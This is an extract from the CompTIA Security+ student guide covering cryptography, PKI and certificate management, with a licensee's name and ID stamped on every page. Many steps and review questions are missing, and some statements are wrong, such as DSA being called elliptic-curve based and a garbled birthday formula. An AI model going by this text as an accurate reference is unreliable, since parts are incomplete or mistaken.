LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 103
Review Activity:
Cryptographic Ciphers
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
104 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 5B
Summarize Cryptographic
Modes of Operation
Digital Signatures
Public key cryptography can authenticate a sender, because they control a private key
that encrypts messages in a way that no one else can. Public key cryptography can only
be used with very small messages, however. Hashing proves integrity by computing
a unique checksum from input. These two cryptographic functions can be combined
to authenticate a sender and prove the integrity of a message. This usage is called a
digital signature. The following process is used to create a digital signature using RSA
encryption:
1. The sender (Alice) creates a digest of a message, using a pre-agreed hash
algorithm, such as SHA256, and then encrypts the digest using her private key.
2. Alice attaches the digital signature to the original message and sends both the
signature and the message to Bob.
3. Bob decrypts the signature using Alice's public key, resulting in the original hash.
4. Bob then calculates his own checksum for the document (using the same
algorithm as Alice) and compares it with Alice's hash.
If the two hashes are the same, then the data has not been tampered with during
transmission, and Alice's identity is guaranteed. If either the data had changed or a
malicious user (Mallory) had intercepted the message and used a different private key,
the digests would not match.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 105
It is important to remember that a digital signature is a hash that is then encrypted using
a private key. Without the encryption, another party could easily intercept the file and the
hash, modify the file and compute a new hash, and then send the modified file and hash
to the recipient. It is also important to realize that the recipient must have some means of
validating that the public key really was issued by Alice. Also note that digital signatures do
not provide any message confidentiality.
The Digital Signature Algorithm (DSA) is a slightly different format for achieving
the same sort of goal. DSA uses elliptic curve cryptography (ECC) rather than the RSA
cipher.
2. Alice encrypts her message using a secret key cipher, such as AES. In this context,
the secret key is referred to as a session key.
4. Alice attaches the encrypted session key to the ciphertext message in a digital
envelope and sends it to Bob.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
106 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Note that in this process, it is the recipient's public key that is used to perform
encryption and the recipient's private key that is used for decryption. The validity of the
whole digital envelope can be proved using a message authentication code.
In all these implementations, it is critical that the private key be kept secure and available
only to the authorized user.
Digital Certificates
When using public/private key pairs, a subject will make his or her public key freely
available. This allows recipients of his or her messages to read the digital signature.
Similarly, he or she uses the recipient's public key to encrypt a message via a digital
envelope. This means that no one other than the intended recipient can read the
message.
The question then arises of how anyone can trust the identity of the person or server
issuing a public key. One solution is to have a third party, referred to as a certificate
authority (CA), validate the owner of the public key by issuing the subject with a
certificate. The certificate is signed by the CA. If the recipient also trusts the CA, they
can also trust the public key wrapped in the subject's certificate. The process of issuing
and verifying certificates is called public key infrastructure (PKI).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 107
Using Diffie-Hellman to derive a secret value to use to generate a shared symmetric encryption
key securely over a public channel. (Images © 123RF.com.)
Using ephemeral session keys means that any future compromise of the server will not
translate into an attack on recorded data. Also, even if an attacker can obtain the key
for one session, the other sessions will remain confidential. This massively increases
the amount of cryptanalysis that an attacker would have to perform to recover an
entire "conversation."
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
108 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
PFS can be implemented using either the Diffie-Hellman Ephemeral mode (DHE or
EDH) or Elliptic Curve Diffie-Hellman Ephemeral mode (ECDHE) algorithms. To use
PFS, the server and client must negotiate use of a mutually supported cipher suite.
In 2014, a Heartbleed bug was discovered in the way some versions of OpenSSL work that
allows remote users to grab 64K chunks of server memory contents (heartbleed.com). This
could include the private key, meaning that any communications with the server could be
compromised. The bug had been present for around two years. This illustrates the value of
PFS, but ironically many servers would have been updated to the buggy version of OpenSSL
to enable support for PFS.
• A key exchange/agreement algorithm, used by the client and server to derive the same
bulk encryption symmetric key.
The final part of a cipher suite determines the bulk encryption cipher. When AES
is selected as the symmetric cipher, it has to be used in a mode of operation that
supports a stream of network data.
XOR is a logical operation that outputs 1 only when the inputs are 1 and 0.
Counter Mode
Counter mode makes the AES algorithm work as a stream cipher. Counter mode
applies an IV plus an incrementing counter value to the key to generate a keystream.
The keystream is then XOR'ed to the data in the plaintext blocks. Each block can be
processed individually and consequently in parallel, improving performance. Also,
counter modes do not need to use padding. Any unused space in the last block is
simply discarded.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 109
Authenticated Encryption
A message authentication code (MAC) provides an authentication and integrity
mechanism by hashing a combination of the message output and a shared secret
key. The recipient can perform the same process using his or her copy of the secret
key to verify the data. This type of authenticated encryption scheme is specified in a
cipher suite as separate functions, such as "AES CBC with HMAC-SHA." Unfortunately,
the implementation of this type of authenticated mode in AES CBC is vulnerable to a
type of cryptographic attack called a padding oracle attack (docs.microsoft.com/en-us/
dotnet/standard/security/vulnerabilities-cbc-mode).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
110 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Cryptographic Modes of Operation
Answer the following questions:
5. What type of bulk encryption cipher mode of operation offers the best
security?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 111
Topic 5C
Summarize Cryptographic Use
Cases and Weaknesses
There are many individual symmetric and asymmetric cipher algorithms and hash
functions. Characteristics of these ciphers make them better suited to meeting
constraints, such as use on battery-powered devices. Some of the ciphers and
implementations of ciphers within products can exhibit weaknesses that make them
unsuitable for use. It is important that you be able to summarize these use cases and
weaknesses so that you can deploy controls that are fit for purpose.
Encryption allows subjects to identify and authenticate themselves. The subject could
be a person, or a computer such as a web server.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
112 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 113
• Time/latency—for some use cases, the time required to obtain a result is more
important than a data rate. For example, when a secure protocol depends on
ciphers in the handshake phase, no data transport can take place until the
handshake is complete. This latency, measured in milliseconds, can be critical to
performance.
• Size—the security of a cipher is strongly related to the size of the key, with longer
keys providing better security. Note that the key size cannot be used to make
comparisons between algorithms. For example, a 256-bit ECC key is stronger than
a 2048-bit RSA key. Larger keys will increase the computational overhead for each
operation, reducing speed and increasing latency.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
114 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
In selecting a product or individual cipher for a particular use case, a tradeoff must
be achieved between the demand for the best security available and the resources
available for implementation.
• Low power devices—some technologies or ciphers configured with longer keys
require more processing cycles and memory space. This makes them slower
and means they consume more power. Consequently, some algorithms and key
strengths are unsuitable for handheld devices and embedded systems, especially
those that work on battery power. Another example is a contactless smart card,
where the card only receives power from the reader and has fairly limited storage
capacity, which affects the maximum key size supported.
• Low latency uses—this can impact protocol handshake setup times. A longer
handshake will manifest as delay for the user, and could cause timeout issues
with some applications. Also, if cryptography is deployed with a real time-sensitive
channel, such as voice or video, the processing overhead on both the transmitter
and receiver must be low enough not to impact the quality of the signal.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 115
You can read more about true versus pseudo random number generation at random.org.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
116 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
2. Mallory intercepts the communication, retaining Bob's public key, and sends his
own public key to Alice.
4. Mallory intercepts the message and decrypts it using his private key.
5. Mallory then encrypts a message (possibly changing it) with Bob's public
key and sends it to Bob, leaving Alice and Bob oblivious to the fact that their
communications have been compromised.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 117
requests the use of SSL. It then becomes easier for Mallory to forge the signature of a
certificate authority that Alice trusts and have Alice trust his public key.
Key Stretching
Key stretching takes a key that's generated from a user password and repeatedly
converts it to a longer and more random key. The initial key may be put through
thousands of rounds of hashing. This might not be difficult for the attacker to replicate
so it doesn't actually make the key stronger, but it slows the attack down, as the
attacker has to do all this extra processing for each possible key value. Key stretching
can be performed by using a particular software library to hash and save passwords
when they are created. The Password-Based Key Derivation Function 2 (PBKDF2) is
very widely used for this purpose, notably as part of Wi-Fi Protected Access (WPA).
Salting
Passwords stored as hashes are vulnerable to brute force and dictionary attacks. A
password hash cannot be decrypted; hash functions are one-way. However, an attacker
can generate hashes to try to find a match for password hash captured from network
traffic or password file. A brute force attack simply runs through every possible
combination of letters, numbers, and symbols. A dictionary attack creates hashes of
common words and phrases.
Both these attacks can be slowed down by adding a salt value when creating the hash,
so you compute:
(salt + password) * SHA = hash
The salt is not kept secret, because any system verifying the hash must know the value
of the salt. It simply means that an attacker cannot use pre-computed tables of hashes.
The hash values must be recompiled with the specific salt value for each password.
2. The attacker then removes the signature from the benign document and adds it
to the malicious document, forging the target's signature.
The trick here is being able to create a malicious document that outputs the same hash
as the benign document. The birthday paradox means that the computational time
required to do this is less than might be expected. The birthday paradox asks how large
must a group of people be so that the chance of two of them sharing a birthday is 50%.
The answer is 23, but people who are not aware of the paradox often answer around
180 (365/2). The point is that the chances of someone sharing a particular birthday are
small, but the chances of any two people sharing any birthday get better and better as
you add more people: 1 – (365 * (365-1) * (365 – 2) ... * (365 – (N-1)/365N)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
118 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
To exploit the paradox, the attacker creates multiple malicious and benign documents,
both featuring minor changes (punctuation, extra spaces, and so on). Depending on the
length of the hash and the limits to the non-suspicious changes that can be introduced,
if the attacker can generate sufficient variations, then the chance of matching hash
outputs can be better than 50%.
This means that to protect against the birthday attack, encryption algorithms must
demonstrate collision avoidance (that is, to reduce the chance that different inputs
will produce the same output). To exploit the birthday paradox, the attacker generally
has to be able to manipulate both documents/messages, referred to as a chosen prefix
attack (sha-mbles.github.io). The birthday paradox method has been used successfully
to exploit collisions in the MD5 function to create fake digital certificates that appear
to have been signed by a certificate authority in a trusted root chain (trailofbits.files.
wordpress.com/2012/06/flame-md5.pdf).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 119
Review Activity:
Cryptographic Use
Cases and Weaknesses
Answer the following questions:
3. For which types of system will a cipher suite that exhibits high latency
be problematic?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
120 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 5D
Summarize Other
Cryptographic Technologies
Computing
A quantum computer performs processing on units called qubits (quantum bits). A
qubit can be set to 0 or 1 or an indeterminate state called a superposition, where there
is a probability of it being either 1 or 0. The likelihood can be balanced 50/50 or can
be weighted either way. The power of quantum computing comes from the fact that
qubits can be entangled. When the value of a qubit is read, it collapses to either 1
or 0, and all other entangled qubits collapse at the same time. The strength of this
architecture is that a single operation can utilize huge numbers of state variables
represented as qubits, while a classical computer's CPU must go through a read,
execute, write cycle for each bit of memory. This makes quantum very well-suited
to solving certain tasks, two of which are the factoring problem that underpins RSA
encryption and the discrete algorithm problem that underpins ECC.
Communications
While quantum computing could put the strength of current cryptographic ciphers
at risk, it also has the promise of underpinning more secure cryptosystems. The
properties of entanglement, superposition, and collapse suit the design of a tamper-
evident communication system that would allow secure key agreement.
Post-Quantum
Post-quantum refers to the expected state of computing when quantum computers
that can perform useful tasks are a reality. Currently, the physical properties of qubits
and entanglement make quantum computers very hard to scale up. At the time of
writing, the most powerful quantum computers have about 50 qubits. A quantum
computer will need about a million qubits to run useful applications.
No one can predict with certainty if or when such a computer will be implemented.
In the meantime, NIST is running a project to develop cryptographic ciphers that
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 121
Lightweight Cryptography
Another problem affecting current cryptographic ciphers is use on low-power devices.
NIST is hoping that a compact cipher suite will be be developed that is both quantum
resistant and that can run on battery-powered devices with minimal CPU and memory
resources (csrc.nist.gov/projects/lightweight-cryptography).
Homomorphic Encryption
Homomorphic encryption is principally used to share privacy-sensitive data sets.
When a company collects private data, it is responsible for keeping the data secure and
respecting the privacy rights of individual data subjects. Companies often want to use
third parties to perform analysis, however. Sharing unencrypted data in this scenario
is a significant risk. Homomorphic encryption is a solution for this use case because
it allows the receiving company to perform statistical calculations on fields within the
data while keeping the data set as a whole encrypted. For example, if you want to
perform analytics on customer interactions, an analysis tool will be able to sum logons
without any account identifiers like email addresses ever being decrypted.
Blockchain
Blockchain is a concept in which an expanding list of transactional records is secured
using cryptography. Each record is referred to as a block and is run through a hash
function. The hash value of the previous block in the chain is added to the hash
calculation of the next block in the chain. This ensures that each successive block is
cryptographically linked. Each block validates the hash of the previous block, all the way
through to the beginning of the chain, ensuring that each historical transaction has not
been tampered with. In addition, each block typically includes a timestamp of one or
more transactions, as well as the data involved in the transactions themselves.
The blockchain is recorded in a public ledger. This ledger does not exist as an individual
file on a single computer; rather, one of the most important characteristics of a
blockchain is that it is decentralized. The ledger is distributed across a peer-to-peer
(P2P) network in order to mitigate the risks associated with having a single point
of failure or compromise. Blockchain users can therefore trust each other equally.
Likewise, another defining quality of a blockchain is its openness—everyone has the
same ability to view every transaction on a blockchain.
Blockchain technology has a variety of potential applications. It can ensure the integrity
and transparency of financial transactions, online voting systems, identity management
systems, notarization, data storage, and more. However, blockchain is still an emerging
technology, and outside of cryptocurrencies, has not yet been adopted on a wide-
ranging scale.
Steganography
Steganography (literally meaning "hidden writing") is a technique for obscuring the
presence of a message. Typically, information is embedded where you would not
expect to find it; a message hidden in a picture, for instance. The container document
or file is called the covertext. A steganography tool is software that either facilitates this
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
122 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
or conversely that can be used to detect the presence of a hidden message within
a covertext.
When used to conceal information, steganography amounts to "security by obscurity,"
which is usually deprecated. However, a message can be encrypted by some
mechanism before embedding it, providing confidentiality. The technology can also
provide integrity or non-repudiation; for example, it could show that something was
printed on a particular device at a particular time, which could demonstrate that it was
genuine or a fake, depending on context.
One example of steganography is to encode messages within TCP packet data fields to
create a covert message channel. Another approach is to change the least significant
bit of pixels in an image file. This can code a useful amount of information without
distorting the original image noticeably. Similar techniques can be used with other
media types as cover files, such as audio and video files.
These methods might be used for command and control or to exfiltrate data covertly,
bypassing protection mechanisms such as data loss prevention (DLP) (blog.trendmicro.
com/trendlabs-security-intelligence/steganography-and-malware-concealing-code-and-
cc-traffic/). Future developments may see use of steganography in streaming media or
voiceover IP (VoIP).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 123
Review Activity:
Other Cryptographic Technologies
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
124 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 5
Summary
You should be able to summarize types of cryptographic function (hash algorithm,
symmetric cipher, asymmetric cipher) and explain how they are used in hybrid
encryption products to provide confidentiality, integrity, authentication, and resiliency.
You should also be able to identify limitations and weaknesses, plus common types of
cryptographic attacks. Finally, you should be able to summarize other concepts, such as
quantum, blockchain, homomorphic encryption, and steganography.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 6
Implementing Public Key Infrastructure
LESSON INTRODUCTION
Digital certificates and public key infrastructure (PKI) are critical services used to
manage identification, authentication, and data confidentiality across most private and
public networks. It is important that you understand the types of certificate that can be
issued and are able to apply effective management principles when configuring and
supporting these systems.
Lesson Objectives
In this lesson, you will:
• Implement certificates and certificate authorities.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
126 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 6A
Implement Certificates and
Certificate Authorities
• When you want to authenticate yourself to others, you create a signature and sign
it by encrypting the signature with your private key. You give others your public key
to use to decrypt the signature. As only you know the private key, everyone can be
assured that only you could have created the signature.
The basic problem with public key cryptography is that you may not really know with
whom you are communicating. The system is vulnerable to man-in-the-middle attacks.
This problem is particularly evident with e-commerce. How can you be sure that a
shopping site or banking service is really maintained by whom it claims? The fact that
the site is distributing public keys to secure communications is no guarantee of actual
identity. How do you know that you are corresponding directly with the site using
its certificate? How can you be sure there isn't a man-in-the-middle intercepting and
modifying what you think the legitimate server is sending you?
Public key infrastructure (PKI) aims to prove that the owners of public keys are
who they say they are. Under PKI, anyone issuing public keys should obtain a digital
certificate. The validity of the certificate is guaranteed by a certificate authority (CA).
The validity of the CA can be established using various models.
Certificate Authorities
The certificate authority (CA) is the entity responsible for issuing and guaranteeing
certificates. Private CAs can be set up within an organization for internal
communications. Most network operating systems, including Windows Server, have
certificate services. For public or business-to-business communications, however, the
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 127
• Ensure the validity of certificates and the identity of those applying for them
(registration).
• Establish trust in the CA by users and government and regulatory authorities and
enterprises, such as financial institutions.
• Manage the servers (repositories) that store and administer the certificates.
Microsoft Windows Server CA. (Screenshot used with permission from Microsoft.)
Single CA
In this simple model, a single CA issues certificates to users; users trust certificates
issued by that CA and no other. The problem with this approach is that the single CA
server is very exposed. If it is compromised, the whole PKI collapses.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
128 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Another problem is that there is limited opportunity for cross-certification; that is, to
trust the CA of another organization. Two organizations could agree to share a root
CA, but this would lead to operational difficulties that could only increase as more
organizations join. In practice, most clients are configured to trust multiple root CAs.
On a private network (such as a Windows domain), the right to issue certificates of different
types must be carefully controlled. The Windows CA supports access permissions for each
certificate type so that you can choose which accounts are able to issue them.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 129
Digital Certificates
A digital certificate is essentially a wrapper for a subject's public key. As well as the
public key, it contains information about the subject and the certificate's issuer or
guarantor. The certificate is digitally signed to prove that it was issued to the subject by
a particular CA. The subject could be a human user (for certificates allowing the signing
of messages, for instance) or a computer server (for a web server hosting confidential
transactions, for instance).
Digital certificates are based on the X.509 standard approved by the International
Telecommunications Union and standardized by the Internet Engineering Taskforce
(tools.ietf.org/html/rfc5280). The Public Key Infrastructure (PKIX) working group
manages the development of these standards. RSA also created a set of standards,
referred to as Public Key Cryptography Standards (PKCS), to promote the use of
public key infrastructure.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
130 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Certificate Attributes
The X.509 standard defines the fields or attributes that must be present in the
certificate. Some of the main fields are listed in the following table.
Field Usage
Serial number A number uniquely identifying the certifi-
cate within the domain of its CA.
Signature algorithm The algorithm used by the CA to sign the
certificate.
Issuer The name of the CA.
Valid from/to Date and time during which the certificate
is valid.
Subject The name of the certificate holder, ex-
pressed as a distinguished name (DN). Wit-
hin this, the common name (CN) part should
usually match either the fully qualified do-
main name (FQDN) of the server or a user
email address.
Public key Public key and algorithm used by the certi-
ficate holder.
Extensions V3 certificates can be defined with extended
attributes, such as friendly subject or issuer
names, contact email addresses, and in-
tended key usage.
Subject alternative name (SAN) This extension field is the preferred mecha-
nism to identify the DNS name or names by
which a host is identified.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 131
Microsoft's website certificate configured with alternative subject names for different subdomains.
(Screenshot used with permission from Microsoft.)
Listing the specific subdomains is more secure, but if a new subdomain is added, a new
certificate must be issued. A wildcard domain, such as *.comptia.org, means that
the certificate issued to the parent domain will be accepted as valid for all subdomains
(to a single level).
CompTIA's website certificate configured with a wildcard domain, allowing access via either https://
comptia.org or https://www.comptia.org. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
132 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Types of Certificate
Certificate policies define the different uses of certificate types issued by the CA.
These can be configured as standard certificate templates.
A certificate type is set by configuring the the Key Usage attribute. The Extended
Key Usage (EKU) field—referred to by Microsoft as Enhanced Key Usage—is a
complementary means of defining usage. Typical values used include Server
Authentication, Client Authentication, Code Signing, or Email Protection. The EKU field
is more flexible than the Key Usage field, but problems can occur when non-standard
or vendor-specific definitions are used.
An extension can be tagged as critical, meaning that the application processing the
certificate must be able to interpret the extension correctly; otherwise, the certificate
should be rejected. In the case of a Key Usage extension marked as critical, an
application should reject the certificate if it cannot resolve the Key Usage value. For
example, this prevents a certificate issued for encrypting traffic sent to a web server
from being used for signing an email message.
Certificate templates for Windows Server CA. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 133
Domain validation certificate. Only the padlock is shown and the browser reports that the owner is not
verified. (Screenshot used with permission from Microsoft.)
Extended validation certificate from GlobalSign with the verified owner shown in green next to the
padlock. (Screenshot used with permission from GlobalSign, Inc.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
134 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Machine/Computer Certificates
It might be necessary to issue certificates to machines (servers, PCs, smartphones, and
tablets), regardless of function. For example, in an Active Directory domain, machine
certificates could be issued to Domain Controllers, member servers, or even client
workstations. Machines without valid domain-issued certificates could be prevented
from accessing network resources. Machine certificates might be issued to network
appliances, such as routers, switches, and firewalls. The SAN and often the CN attribute
should be set to the FQDN of the machine (host name and local domain part).
Email/User Certificates
An email certificate can be used to sign and encrypt email messages, typically using
Secure Multipart Internet Message Extensions (S/MIME) or Pretty Good Privacy (PGP).
The user's email address must be entered as the SAN and CN. On a directory-based
local network, such as Windows Active Directory, there may be a need for a wider
range of user certificate types. For example, in AD there are user certificate templates
for standard users, administrators, smart card logon/users, recovery agent users,
and Exchange mail users (with separate templates for signature and encryption). Each
certificate template has different key usage definitions.
Requesting a certificate. The CA has made several user-type certificate templates available with
different key usage specifications (encrypting files, signing emails, encrypting emails, and so on).
(Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 135
Root Certificate
The root certificate is the one that identifies the CA itself. The root certificate is
self-signed. A root certificate would normally use a key size of at least 2048 bits.
Many providers are switching to 4096 bits. The CN for a root certificate is set to the
organization/CA name, such as "CompTIA Root CA," rather than an FQDN.
Self-signed Certificates
Any machine, web server, or program code can be deployed with a self-signed
certificate. Self-signed certificates will be marked as untrusted by the operating
system or browser, but an administrative user can choose to override this.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
136 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Certificates and Certificate Authorities
Answer the following questions:
5. You are developing a secure web application. What sort of certificate should
you request to show that you are the publisher of a program?
6. What extension field is used with a web server certificate to support the
identification of the server by multiple specific subdomain labels?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 137
Topic 6B
Implement PKI Management
As a security professional, you are very likely to have to install and maintain public
key infrastructure (PKI) certificate services for private networks. You may also need to
obtain and manage certificates from public PKI providers. This topic will help you to
install and configure PKI and to troubleshoot and revoke certificates.
• Storage—the user must take steps to store the private key securely, ensuring that
unauthorized access and use is prevented. It is also important to ensure that the
private key is not lost or damaged.
• Revocation—if a private key is compromised, the key pair can be revoked to prevent
users from trusting the public key.
• Expiration and renewal—a key pair that has not been revoked expires after a certain
period. Giving the key or certificate a "shelf-life" increases security. Certificates can
be renewed with new key material.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
138 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Another way to use M-of-N control is to split a key between several storage devices (such as
three USB sticks, any two of which could be used to recreate the full key).
If the key used to decrypt data is lost or damaged, the encrypted data cannot be
recovered unless a backup of the key has been made. A significant problem with key
storage is that if you make multiple backups of a key, it is exponentially more difficult
to ensure that the key is not compromised. However, if the key is not backed up, the
storage system represents a single point of failure. Key recovery defines a secure
process for backing up keys and/or recovering data encrypted with a lost key. This
process might use M-of-N control to prevent unauthorized access to (and use of)
the archived keys. Escrow means that something is held independently. In terms of
key management, this refers to archiving a key (or keys) with a third party. This is a
useful solution for organizations that don't have the capability to store keys securely
themselves, but it invests a great deal of trust in the third party.
Certificate Expiration
Certificates are issued with a limited duration, as set by the CA policy for the certificate
type. Root certificates might have long expiration dates (10+ years), whereas web
server and user certificates might be issued for 1 year only. Typically, a certificate is
renewed before it expires. Where a user is in possession of a valid certificate, less
administration is required (in terms of checking identity) than with a request for a new
certificate. When you are renewing a certificate, it is possible to use the existing key
(referred to specifically as key renewal) or generate a new key (the certificate is rekeyed).
A new key might be generated if the old one was no longer considered long enough or
if any compromise of the key was feared.
When a certificate expires, there is the question of what to do with the key pair that
it represents. A key can either be archived or destroyed. Destroying the key offers
more security, but has the drawback that any data encrypted using the key will be
unreadable. Whether a key is archived or destroyed will largely depend on how the key
was used. In software terms, a key can be destroyed by overwriting the data (merely
deleting the data is not secure). A key stored on hardware can be destroyed by a
specified erase procedure or by destroying the device.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 139
CRLs published by Windows Certificate Services—The current CRL contains one revoked certificate.
(Screenshot used with permission from Microsoft.)
With the CRL system, there is a risk that the certificate might be revoked but still
accepted by clients because an up-to-date CRL has not been published. A further
problem is that the browser (or other application) may not be configured to
perform CRL checking, although this now tends to be the case only with legacy
browser software.
Most OCSP servers can query the certificate database directly and obtain the real-time
status of a certificate. Other OCSP servers actually depend on the CRLs and are limited by
the CRL publishing interval.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
140 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
One of the problems with OCSP is that the job of responding to requests is resource
intensive and can place high demands on the issuing CA running the OCSP responder.
There is also a privacy issue, as the OCSP responder could be used to monitor and
record client browser requests. OCSP stapling resolves these issues by having the SSL/
TLS web server periodically obtain a time-stamped OCSP response from the CA. When
a client submits an OCSP request, the web server returns the time-stamped response,
rather than making the client contact the OCSP responder itself.
Certificate Pinning
When certificates are used by a transport protocol, such as SSL/TLS, there is
a possibility that the chain of trust among the client, the server, and whatever
intermediate and root CAs have provided certificates can be compromised. If an
adversary can substitute a malicious but trusted certificate into the chain (using
some sort of proxy or man-in-the-middle attack), they could be able to snoop on the
supposedly secure connection.
Pinning refers to several techniques to ensure that when a client inspects the
certificate presented by a server or a code-signed application, it is inspecting the
proper certificate. This might be achieved by embedding the certificate data in the
application code, or by submitting one or more public keys to an HTTP browser via an
HTTP header, which is referred to as HTTP Public Key Pinning (HPKP).
Certificate Formats
There are various formats for encoding a certificate as a digital file for exchange
between different systems.
Encoding
Cryptographic data—both certificates and keys—are processed as binary using
Distinguished Encoding Rules (DER). Binary format files are not commonly used,
however.
More typically, the binary data is represented as ASCII text characters using Base64
Privacy-enhanced Electronic Mail (PEM) encoding. ASCII-format data has descriptive
headers, such as the "BEGIN CERTIFICATE" string.
Base64-encoded .CER file opened in Notepad. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 141
File Extensions
A three character file extension is a convention, not a standard, and unfortunately file
extensions do not always map cleanly to the type of encoding used within a certificate
file, or even to the contents of a certificate file. The only certain way to check is to open
it in a text editor.
• Both .DER and .PEM can be used as file extensions, although the latter is not
recognized by Windows. .PEM is the the most widely used extension for ASCII
format files in Linux.
• The .CRT and .CER extensions can also be used, but they they are not well-
standardized. Most of the confusion arises from the way Windows handles
certificates. In Linux, .CRT is most likely to represent an ASCII certificate. In Windows,
the most common extension is .CER, but this does not tell you whether the file
format is binary or ASCII.
Contents
A certificate file can also contain more than just a single certificate:
• The PKCS #12 format allows the export of the private key with the certificate. This
would be used either to transfer a private key to a host that could not generate
its own keys, or to back up/archive a private key. This type of file format is usually
password-protected and always binary. On Windows, these usually have a .PFX
extension, while MacOS and iOS use .P12. In Linux, the certificate and key are
usually stored in separate files.
• The P7B format implements PKCS #7, which is a means of bundling multiple
certificates in the same file. It is typically in ASCII format. This is most often used
to deliver a chain of certificates that must be trusted by the processing host. It
is associated with the use of S/MIME to encrypt email messages. P7B files do
not contain the private key. In Linux, the .PEM extension is very widely used for
certificate chains.
OpenSSL
In a Windows environment, certificate infrastructure is installed and managed as Active
Directory Certificate Services. There is a certutil tool for command-line management, or
you can use PowerShell.
For Linux, CA services are typically implemented using the OpenSSL suite (openssl.org).
The following represent a few of the many operations that can be accomplished using
openssl commands.
Root CA
